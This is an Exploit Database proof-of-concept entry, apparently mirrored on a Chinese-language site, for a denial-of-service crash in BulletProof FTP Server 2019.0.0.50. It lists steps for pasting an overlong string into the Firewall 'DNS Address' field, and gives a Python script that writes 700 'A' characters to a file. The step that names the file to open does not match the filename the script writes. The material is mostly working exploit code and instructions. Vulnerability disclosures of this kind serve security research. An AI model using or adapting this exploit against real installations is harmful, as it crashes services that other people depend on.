BulletProof FTP Server 2019.0.0.50 – ‘DNS Address’ Denial of Service (PoC)

• Exploit Database
• 13 阅读

• 作者： Victor Mondragón
  日期： 2019-05-20
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/46875/

• #Exploit Title: BulletProof FTP Server 2019.0.0.50 - 'DNS Address' Denial of Service (PoC)
  #Discovery by: Victor Mondragón
  #Discovery Date: 2019-05-18
  #Vendor Homepage: http://bpftpserver.com/
  #Software Link: http://bpftpserver.com/products/bpftpserver/windows/download
  #Tested Version: 2019.0.0.50
  #Tested on: Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64
  
  #Steps to produce the crash:
  #1.- Run python code: BulletProof_DNS_Server_2019.0.0.50.py
  #2.- Open bullet_storage.txt and copy content to clipboard
  #3.- Open BulletProof FTP Server
  #4.- Select "Settings" > "Protocols" > "FTP" > "Firewall"
  #5.- Enable "DNS Address" and Paste Clipboard
  #6.- Click on "Test"
  #7.- Crashed
  
  cod = "\x41" * 700
  
  f = open('bullet_dns.txt', 'w')
  f.write(cod)
  f.close()